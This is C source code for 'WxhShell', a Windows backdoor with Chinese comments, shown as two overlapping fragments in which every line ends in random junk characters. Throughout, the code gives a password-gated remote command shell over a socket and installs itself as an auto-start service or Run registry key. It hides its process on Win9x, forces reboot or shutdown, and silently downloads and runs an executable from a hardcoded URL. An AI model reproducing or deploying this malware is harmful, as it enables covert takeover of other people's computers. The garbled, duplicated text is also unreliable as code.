    ExitThread(0); $QB/n63  
    } <kOdd)X  
    break; PQJw"[N/YM  
    } <`'T#e$  
  // 关机 5/YGu=,  
  case 'd': { ^ i8"eF  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); u%sfHGrH  
    if(Boot(SHUTDOWN)) h h7unHt-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {j[a'Gb  
    else { JBk >|q"  
    closesocket(wsh); r@u8QhD  
    ExitThread(0); n4InZ!)  
    } p!>DA?vF  
    break; /^hc8X  
    } t 0.71(  
  // 获取shell _Nacqa  
  case 's': { Lq2ZgKd!  
    CmdShell(wsh); >0E3Em<(}l  
    closesocket(wsh); Nbb2wr9A  
    ExitThread(0); 8@,8j!$8G  
    break; s((c@)M  
  } IN7Cpg~9%  
  // 退出 P"f4`q  
  case 'x': { #Oi{7~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); w8}jmpnI  
    CloseIt(wsh); )m_q2xV  
    break; 9 iV_  
    } t$z 5m<8  
  // 离开 pS+hE4D  
  case 'q': { Te2 C<c  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &oxHVZJ  
    closesocket(wsh); ~$d(@T&  
    WSACleanup(); N$N 7aE$  
    exit(1); %E2V$l0  
    break; d.$0X/0  
        } Q8D#kAYw  
  } oy\U\#k   
  } .<4U2h  
Qz4Do6#y  
  // 提示信息 T/234;Uf|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9m%2&fjK^  
} X wIKpr8  
  } 4^T_" W}  
tUi@'%>=5  
  return; XaF;IS@A  
} %>!W+rO,  
J p)I9k,Ez  
// shell模块句柄 *i>hFNLdOM  
int CmdShell(SOCKET sock) NA=m<n#  
{ 4*'ZabDD  
STARTUPINFO si; J,:Wv`N:9~  
ZeroMemory(&si,sizeof(si)); apjoIO-<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hc*tQ2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2Mu@P8O&  
PROCESS_INFORMATION ProcessInfo; 08+\fT [  
char cmdline[]="cmd"; 5,J.$Sax  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bbT1p :RF  
  return 0; 0BQ{ZT-Kh  
} >i"WKd=  
\aN7[>R.Q  
// 自身启动模式 *alifdp  
int StartFromService(void) {Z1KU8tp  
{ QB3er]y0%  
typedef struct dU-nE5  
{ zX]l$Q+  
  DWORD ExitStatus; .d6b ?t  
  DWORD PebBaseAddress; 7%Ou6P$^fr  
  DWORD AffinityMask; ?x/Lb*a^  
  DWORD BasePriority; Va[t'%~&zR  
  ULONG UniqueProcessId; liMw(F2  
  ULONG InheritedFromUniqueProcessId; N}nE?|N=5  
}   PROCESS_BASIC_INFORMATION; o)n= n!A  
0#CmB4!<O  
PROCNTQSIP NtQueryInformationProcess; pS2u&Y"u|  
$[ oRbH8g  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8[;AFm?,`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; f>|W d;7l:  
+ w'q5/`  
  HANDLE             hProcess; 8jY<S+[o  
  PROCESS_BASIC_INFORMATION pbi; L+~XW'P?  
oqo7Ge2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); jq%}=-%KE  
  if(NULL == hInst ) return 0; tz5\O}  
CB#B!;I8v  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]k8f1F  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); f@2F!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3$S~!fh  
ZW4$Ks2]Y  
  if (!NtQueryInformationProcess) return 0; h>F"GR?U_(  
v 6s]X*l?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Rg^ps  
  if(!hProcess) return 0; ;iW>i8  
Nt\0) &b  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; a"`> J!  
WL?qulC}h1  
  CloseHandle(hProcess); }0?XF/e(R  
Shv$"x:W  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); OZA^L;#>  
if(hProcess==NULL) return 0; qeb}~FL"o  
&8I }q]'k  
HMODULE hMod; SLRF\mh!L  
char procName[255]; +cM~|  
unsigned long cbNeeded; h^ K]ASj  
=WHI/|&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); f[ KI T  
o/ 7[ G  
  CloseHandle(hProcess); {$#88Qa\-  
=K_&@|f+B  
if(strstr(procName,"services")) return 1; // 以服务启动 |*DkriYY  
-{q'Tmst  
  return 0; // 注册表启动 upZ tVdd  
} FmhAUe  
V(8,94vm  
// 主模块 j^WYM r,  
int StartWxhshell(LPSTR lpCmdLine) E]}_hZU  
{ t1G__5wp  
  SOCKET wsl; pXvys] @  
BOOL val=TRUE; nSRNd A  
  int port=0; |o+*Iy)  
  struct sockaddr_in door; b 0qA  
2j#Dwa(lZQ  
  if(wscfg.ws_autoins) Install(); U#&+n-npO  
Kr[oP3  
port=atoi(lpCmdLine); s4QCun~m  
4H NaE{O4  
if(port<=0) port=wscfg.ws_port; B]vR=F}*  
*;xGH  
  WSADATA data; ns *:mGh  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #SG.`J<%  
dS\!tdHP-Q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -2(?O`tZ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); IMBjI#\  
  door.sin_family = AF_INET; -+M360  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); o)>iHzR</  
  door.sin_port = htons(port); i"x V=.  
,FXc_BCx4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7XLqP  
closesocket(wsl); rxqSi0p  
return 1; .6C6ZUB;  
} _]-4UA-  
3,K\ZUU.,  
  if(listen(wsl,2) == INVALID_SOCKET) { A7,%'.k  
closesocket(wsl); BzS\p3&  
return 1; O=*,  
} .YWkFTlZ+  
  Wxhshell(wsl); |rG)Q0H,  
  WSACleanup(); !dUdz7  
EeT 69o  
return 0; gwdAf%|f  
Pouo# 5  
} {bR2S&=OmK  
N&eo;Ti  
// 以NT服务方式启动 _RUL$Ds  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^*.+4iHx  
{ hlZ{bO 'f  
DWORD   status = 0; SM%/pu;  
  DWORD   specificError = 0xfffffff; D.Cn`O}  
jm@,Ihz=wI  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ];"40/X  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; o"FR% %  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; e!o\AB%d  
  serviceStatus.dwWin32ExitCode     = 0; Srz8sm;  
  serviceStatus.dwServiceSpecificExitCode = 0; wGw~ F:z  
  serviceStatus.dwCheckPoint       = 0; }+bo?~2E&  
  serviceStatus.dwWaitHint       = 0; dJ#go*Gn  
LokH4A17U  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); J3~%9MCJ  
  if (hServiceStatusHandle==0) return; j7QK8O$XL  
4/k`gT4  
status = GetLastError(); &3;"$P  
  if (status!=NO_ERROR) D~BL Txq  
{ g4W/T  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; H(tC4'tA  
    serviceStatus.dwCheckPoint       = 0; D[?;+g/  
    serviceStatus.dwWaitHint       = 0; }mzd23^W>P  
    serviceStatus.dwWin32ExitCode     = status; idGn{f((f  
    serviceStatus.dwServiceSpecificExitCode = specificError; s^SU6P/ ]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "(vK.-T  
    return; ^1vKhO+p$  
  } 2~l7WW+lx,  
F_9 4k  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; k52IvB@2  
  serviceStatus.dwCheckPoint       = 0; MmfBFt*  
  serviceStatus.dwWaitHint       = 0; +3o0GJ   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <\fA}b  
} GlTpK^.  
!LM`2|3$  
// 处理NT服务事件,比如:启动、停止 4hLk+z<n  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @/ |g|4  
{ <#4""FO*  
switch(fdwControl) -CuuO=h  
{ y`L.#5T  
case SERVICE_CONTROL_STOP: [Eccj`\e g  
  serviceStatus.dwWin32ExitCode = 0; :Yn.Wv-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6i~|<vcSP  
  serviceStatus.dwCheckPoint   = 0; yg H)U.  
  serviceStatus.dwWaitHint     = 0; 8Iu6r}k?~`  
  { *~shvtq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U#S-x5Gn  
  } 2 oV6#!{Z  
  return; F6111Q </  
case SERVICE_CONTROL_PAUSE: 1^*ogMe  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; LAo$AiTUR{  
  break; [Z"Z5e`  
case SERVICE_CONTROL_CONTINUE: yYYP;N?g4k  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ib#rT{e  
  break; }e/vKW fT  
case SERVICE_CONTROL_INTERROGATE: `4snTM!v&  
  break; IN<nZ?D#  
}; nDO7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  6?*Do  
} 0kj5r*qA  
,[6Rmsk  
// 标准应用程序主函数 )W>$_QxbN  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) T#i;=NP"  
{ x {Utf$|  
 nOd;Zw  
// 获取操作系统版本 |;xEK nF  
OsIsNt=GetOsVer(); JbL3/h]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Dy,MQIM|!  
8s2y!pn7Q  
  // 从命令行安装  YTZ :D/  
  if(strpbrk(lpCmdLine,"iI")) Install(); Zi+FIQ(  
Gf3-%s xA  
  // 下载执行文件 :wXiz`VH  
if(wscfg.ws_downexe) { #::+# G  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6H: fg  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,b -  
} > ^zNKgSQ  
7gN;9pc$  
if(!OsIsNt) { pZopdEFDK|  
// 如果时win9x,隐藏进程并且设置为注册表启动 m(MQ  
HideProc(); 5,##p"O(  
StartWxhshell(lpCmdLine); -dO8Uis$  
} q4w]9b/  
else p+|8(w9A${  
  if(StartFromService()) Z!~_#_Ugl  
  // 以服务方式启动 {6h 1  
  StartServiceCtrlDispatcher(DispatchTable); ^h2+""  
else \wsVO"/  
  // 普通方式启动 2wB *c9~  
  StartWxhshell(lpCmdLine); %L- qAI&V  
/CO=!*7fz  
return 0; FXDB> }8  
} hZ452W  
K$,<<hl  
mz%l4w?'  
}q]*aADe  
=========================================== }A@:JR+|  
W)bSLD   
j3;W-c`5  
&U?4e'N)T  
Z8FgxR  
@@U  
" >AX_"Q~  
ZCj1Cz]"l<  
#include <stdio.h> SyI~iW#Y1  
#include <string.h> Qt {){uE  
#include <windows.h> iTq&h=(n  
#include <winsock2.h> tt2 S.j  
#include <winsvc.h> oF>`>  
#include <urlmon.h> Z81;Y=(  
9/e>%1.  
#pragma comment (lib, "Ws2_32.lib")  c`\/]  
#pragma comment (lib, "urlmon.lib") ]tT=jN&(  
y[85eM  
#define MAX_USER   100 // 最大客户端连接数 qQ^CSn98J  
#define BUF_SOCK   200 // sock buffer B-w`mcqp$  
#define KEY_BUFF   255 // 输入 buffer u9KT_` )  
'_4apyq|  
#define REBOOT     0   // 重启 _,60pr3D'  
#define SHUTDOWN   1   // 关机 FCEmg0qdjD  
BK4S$B  
#define DEF_PORT   5000 // 监听端口 r'#!w3*Cy  
u28$V]  
#define REG_LEN     16   // 注册表键长度 JD0s0>q_  
#define SVC_LEN     80   // NT服务名长度 aV|V C $  
cL*oO@I&_  
// 从dll定义API R/"-r^j  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;f[##=tm  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3Fn}nek  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); hx&fV#m  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #`gX(C>  
~K#92  
// wxhshell配置信息 R,78}7B  
struct WSCFG { qOy(dG g  
  int ws_port;         // 监听端口 [zN*P$U]  
  char ws_passstr[REG_LEN]; // 口令 us?q^>u  
  int ws_autoins;       // 安装标记, 1=yes 0=no DoFe:+_U3  
  char ws_regname[REG_LEN]; // 注册表键名 Z]Ud x  
  char ws_svcname[REG_LEN]; // 服务名 *,CJ 3< >  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 lMu9Dp  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9y&;6V.'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?+7~ E8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no m-\_L=QzM  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" YYFS ({  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 j0+D99{R  
} %?or_f/  
}; o96c`a u  
de2G"'F  
// default Wxhshell configuration @]#[TbNo  
struct WSCFG wscfg={DEF_PORT, 0aY\(@  
    "xuhuanlingzhe", cq?,v?m  
    1, &l ]F&-  
    "Wxhshell", +u=VO#IA#  
    "Wxhshell", d2i ?FT>  
            "WxhShell Service", dl8f]y#Q  
    "Wrsky Windows CmdShell Service", wT- -i@@  
    "Please Input Your Password: ", R\3v=PR[  
  1, km9#lK  
  "http://www.wrsky.com/wxhshell.exe", NY<qoV  
  "Wxhshell.exe" ktynIN  
    }; ca3zY|Oo  
BaI-ve  
// 消息定义模块 oKGF'y?A>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ru#pJb(R  
char *msg_ws_prompt="\n\r? for help\n\r#>"; tzd !r7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Q.eD:@%iE  
char *msg_ws_ext="\n\rExit."; 8(Ptse  ,  
char *msg_ws_end="\n\rQuit."; W&cs&>F#  
char *msg_ws_boot="\n\rReboot..."; n_]B5U  
char *msg_ws_poff="\n\rShutdown..."; qvo!nr7  
char *msg_ws_down="\n\rSave to "; HxW/t7Z(  
l lcq~*zz  
char *msg_ws_err="\n\rErr!"; Nb3O> &J  
char *msg_ws_ok="\n\rOK!"; '[8w8,v(  
@<$m`^H  
char ExeFile[MAX_PATH]; v)O].Hd  
int nUser = 0; W0mvwYON[  
HANDLE handles[MAX_USER]; h(AL\9{=}  
int OsIsNt; YU6|/ <8  
`u_MdB}<x;  
SERVICE_STATUS       serviceStatus; &F#eYEuy  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; eQ)*jeD  
U_'M9g{,<  
// 函数声明 OhN2FkxL  
int Install(void); Ws0)B8y,|  
int Uninstall(void); f ]_ki  
int DownloadFile(char *sURL, SOCKET wsh); &g90q   
int Boot(int flag); DVwB}W~  
void HideProc(void); g.!k>_g`  
int GetOsVer(void); PB"=\>]`N  
int Wxhshell(SOCKET wsl); P8h|2,c%  
void TalkWithClient(void *cs); JBHPI@Qt%  
int CmdShell(SOCKET sock); @>$qb|j  
int StartFromService(void); O86p]Lr  
int StartWxhshell(LPSTR lpCmdLine); 'j{o!T0  
p ]jLs|tat  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); n05GM.|*s  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); A9]& w  
\}n_Sk  
// 数据结构和表定义 J Bq6Qg  
SERVICE_TABLE_ENTRY DispatchTable[] = J,:;\Xhl  
{ CF-tod  
{wscfg.ws_svcname, NTServiceMain}, l?_Fy_fBt  
{NULL, NULL} rrEf<A}  
}; 8EJP~bt  
1'p=yHw  
// 自我安装 V>obMr^5  
int Install(void) EQpF:@_  
{ AFBWiuwI3  
  char svExeFile[MAX_PATH]; fD\Fq'29{  
  HKEY key; Crj7n/mp]s  
  strcpy(svExeFile,ExeFile); ]gnEo.R  
=vF!  
// 如果是win9x系统,修改注册表设为自启动 0Ba]Zo Z  
if(!OsIsNt) { f>Ua7!b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P{ %Urv{U  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9a+Y )?z  
  RegCloseKey(key); Hq gg*4#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y<nPZ<h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uJ0'`Q?6R9  
  RegCloseKey(key); nvwf!iU6  
  return 0; [FF}HWf  
    } nTtEv~a_n  
  } :EYUBtTj  
} jK[*_V  
else { '`<Fys&:  
#1*7eANfr  
// 如果是NT以上系统,安装为系统服务 4bw4!z9G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); nJYIkfdA  
if (schSCManager!=0) IaO R%B g  
{ EBL-+%J8  
  SC_HANDLE schService = CreateService ^ZS!1%1  
  ( @x!+_z  
  schSCManager, 0k5uqGLXe  
  wscfg.ws_svcname, k$f2i,7'  
  wscfg.ws_svcdisp, (dyY@={q  
  SERVICE_ALL_ACCESS, F(lJ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , OXKV6r6f  
  SERVICE_AUTO_START, d)Z&_v<|  
  SERVICE_ERROR_NORMAL, o+XQMg  
  svExeFile, +`1~zcu  
  NULL, OR $i,N|  
  NULL, ue+{djz[4  
  NULL, q=`n3+N_H~  
  NULL, #rr!A pJ  
  NULL /joY? T  
  ); nnT#S  
  if (schService!=0) +%klS `_  
  { I7=A!C"  
  CloseServiceHandle(schService); ="vg/@.>i  
  CloseServiceHandle(schSCManager); ]=i('|YG  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); D{y7[#$h$  
  strcat(svExeFile,wscfg.ws_svcname); biw . ~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *[b>]GXd49  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 88S:E7 $  
  RegCloseKey(key); Y}2Sr-@u  
  return 0; )'RaMo` 4  
    } y4IQa.F  
  } j6k"%QHf  
  CloseServiceHandle(schSCManager); yw7(!1j=  
} 7hPwa3D^  
} UA~ 4O Q]  
aMHC+R1X  
return 1; o%;ly  
} ~a_X 7  
.<fdX()e,  
// 自我卸载 Q}<QE:-&E  
int Uninstall(void) yVGf[ ~X  
{ <Ist^ h+o  
  HKEY key; a 8Xwz@ M  
1(>2tEjYT  
if(!OsIsNt) { ns\I Y<Yo  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M?}:N_9<J  
  RegDeleteValue(key,wscfg.ws_regname); T=sAy/1oR  
  RegCloseKey(key); ibwV #6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =6=:OId  
  RegDeleteValue(key,wscfg.ws_regname); 's5rl  
  RegCloseKey(key); -Hw3rv3o  
  return 0; x6!Q''f7  
  } _&s pMf  
} 8 qw{e`c  
} &?1^/]'"r  
else { <~w3[i=  
6P>}7R}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =0PGE#d{t  
if (schSCManager!=0) w >2G@  
{ I"3C/ pU2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6H  U*,  
  if (schService!=0) ZADMtsk  
  { ZS]Z0iZv9  
  if(DeleteService(schService)!=0) { a:HN#P)12  
  CloseServiceHandle(schService); z9OpxW@Ou  
  CloseServiceHandle(schSCManager); -gba&B+D"  
  return 0; ZbdGI@  
  } >D~8iuy]8.  
  CloseServiceHandle(schService); |%F4`gz8KP  
  } 7D:rq 8$\  
  CloseServiceHandle(schSCManager); C^B$_?  
} (&v|,.c^)1  
} ly6zz|c5  
<BZC5b6  
return 1; kMnG1K  
} LJ@r+|>  
TKsP#Dt/  
// 从指定url下载文件 1>L'F8"  
int DownloadFile(char *sURL, SOCKET wsh) #Y'b?&b  
{ h:?qd  
  HRESULT hr; );t+~YPS  
char seps[]= "/"; CqZHs 9+e&  
char *token; i+~BVb  
char *file; 2?Jw0Wq5D  
char myURL[MAX_PATH]; tQNrDp+  
char myFILE[MAX_PATH]; C3f\E: D)  
6hYz^}2g  
strcpy(myURL,sURL); Xa?igbgAwx  
  token=strtok(myURL,seps); '2<r{  
  while(token!=NULL) W  
  { 2;:p H3  
    file=token; m&xVlS  
  token=strtok(NULL,seps); ]Z6? m  
  } Zxqlhq/)  
Dr%wab"yy  
GetCurrentDirectory(MAX_PATH,myFILE); ,i<cst)$u  
strcat(myFILE, "\\"); "Z,T%]  
strcat(myFILE, file); Avi_]h&  
  send(wsh,myFILE,strlen(myFILE),0); _<sN54  
send(wsh,"...",3,0); h\3-8m  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); s>L.V2!$0  
  if(hr==S_OK) 7t<MHdw  
return 0; h| wdx(4  
else eh]sye KBj  
return 1; .lP',hn  
VWHpfm[r%  
} ^5TVm>F@3  
q jc4IW t~  
// 系统电源模块 C f d* Q  
int Boot(int flag) ivq(eKy  
{ 6z6\xkr  
  HANDLE hToken; pXN'vP  
  TOKEN_PRIVILEGES tkp; ?H@<8Ra=3  
s9nPxC&A  
  if(OsIsNt) { 2Zuo).2a.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {R@V  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Lkx~>U   
    tkp.PrivilegeCount = 1; )&>W/56/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; YMK ![ q-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); u?dPCgs;h  
if(flag==REBOOT) { 0\ (:y^X  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3Z*o5@RI  
  return 0; {CBb^BP  
} =dKjTBR S'  
else { <anKw|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "H`Be  
  return 0; Z10}xqi!X  
} *DfOm`m  
  } a%b E}  
  else { Rb:<?&7ZzN  
if(flag==REBOOT) { 76<mP*5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) y||RK` H  
  return 0; _Q I!UQdW  
} *. |%uf.  
else { t$Rc 0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) BPt? 3tC  
  return 0; 1Pw1TO"Z  
} VlA]A,P}i  
} ;zD4 #7=  
>Q=^X3to  
return 1; Q#H"Se  
}  w0=  
\#dacQ2E@  
// win9x进程隐藏模块 jLVD37 P^  
void HideProc(void) =%IyR  
{ ^&1O:G*"  
|H_WY#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); n^ fUKi*;  
  if ( hKernel != NULL ) b-  t  
  { 2y^:T'p  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); W>d)(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4FRi=d;mP  
    FreeLibrary(hKernel); b6f OHy  
  } |R@T`dW  
,7)hrA$(  
return; DWKQ>X6  
} *1`X}  
b1 w@toc  
// 获取操作系统版本 .aY $-Y<  
int GetOsVer(void) !KK`+ 9/  
{ Y 2ANt w@  
  OSVERSIONINFO winfo; I)FFh%m<}a  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /^nIOAeE  
  GetVersionEx(&winfo); Kh$"5dy  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #Iz)Mu  
  return 1; J}xM+l7uY  
  else lRg?||1ik  
  return 0; eZT8gKbjJ)  
} 1a{3k#}  
&Z]}rn  
// 客户端句柄模块 >iOf3I-ATt  
int Wxhshell(SOCKET wsl) <nbk lo  
{ EyPJ Jc8  
  SOCKET wsh; V2T% tn;rp  
  struct sockaddr_in client; 2Wluc37  
  DWORD myID; Vl5>o$G|<.  
70R6:  
  while(nUser<MAX_USER) =+j3E<w  
{ %CiF;wJ  
  int nSize=sizeof(client); C-c'"FHq  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); P1LOj  
  if(wsh==INVALID_SOCKET) return 1; {j>a_]dTVX  
BM /FOY;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2n@`O g_0  
if(handles[nUser]==0) [//i "Nm  
  closesocket(wsh); VrZfjpV  
else ^*.$@M  
  nUser++; Ju47}t%HB  
  } VM\R-[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "E2 0Y"[h  
Q+ V<&  
  return 0; T@yQOD7  
} BkXv4|UE  
/&#y-D_  
// 关闭 socket R~oJ-} iYX  
void CloseIt(SOCKET wsh) cHFW"g78  
{ l6HtZ(  
closesocket(wsh); ?{f6su@rW  
nUser--; `X@\Zv=}  
ExitThread(0); d|NW&PG  
} Pqya%j  
N { oVz],  
// 客户端请求句柄 0@zJa;z'  
void TalkWithClient(void *cs) ?(=|!`IoO  
{ :gwmk9LZ  
KZ7B2  
  SOCKET wsh=(SOCKET)cs; ?tjEXg>ny  
  char pwd[SVC_LEN]; z U[pn)pe  
  char cmd[KEY_BUFF]; (rBsh6@)  
char chr[1]; Zio! j%G  
int i,j; #2_FM!e  
u5}:[4N%I  
  while (nUser < MAX_USER) { 06.%9R{  
N+c|0  
if(wscfg.ws_passstr) { q%;cu1^"M  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qK%N{ro[{?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n&;JW6VQS  
  //ZeroMemory(pwd,KEY_BUFF); G=17]>U  
      i=0; ; D<k  
  while(i<SVC_LEN) { [#gm[@d,  
9/0H,qZc  
  // 设置超时 *>=tmW;%  
  fd_set FdRead; }}TPu8Rl  
  struct timeval TimeOut; $GRwk>N  
  FD_ZERO(&FdRead); 9abUh3  
  FD_SET(wsh,&FdRead); a[~[l k=7  
  TimeOut.tv_sec=8; 3pWav 1"  
  TimeOut.tv_usec=0; L.@$rFhA  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); | 9S8sfw  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); f<bB= 9J  
cwzkA,e@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n>.@@  
  pwd=chr[0]; h 8UhrD<:  
  if(chr[0]==0xd || chr[0]==0xa) { u/j\pDl.  
  pwd=0; ,V9qiu=m   
  break; uZn_*_J!  
  } Gxe)5,G  
  i++; :.g/=Q(T~  
    } 8`+=~S  
|=IJ^y(x|  
  // 如果是非法用户,关闭 socket y+iRZ%V^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 75Z|meG~  
} AJi+JO-  
np^&cY]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); b_ ZvI\H  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a.%ps:  
fU$Jh/#":  
while(1) { P I"KY@>H  
ZUHW*U.  
  ZeroMemory(cmd,KEY_BUFF); zS;ruK%2  
k)>H=?mI  
      // 自动支持客户端 telnet标准   Ql5bjlQdO  
  j=0; Q.B)?wm  
  while(j<KEY_BUFF) { 1r> ]XhRFZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~fkcal1@  
  cmd[j]=chr[0]; q#AEu xI1  
  if(chr[0]==0xa || chr[0]==0xd) { h<&GdK2U+  
  cmd[j]=0; 4Px|:7~wT8  
  break; a+LK~mC*  
  } ,HDhP  
  j++; x]wi&  
    } `e'wW V  
FA,n>  
  // 下载文件 H1U$ApD  
  if(strstr(cmd,"http://")) { bQ3<>e\%B  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); c+3(|k-M  
  if(DownloadFile(cmd,wsh)) 87!jn'A  
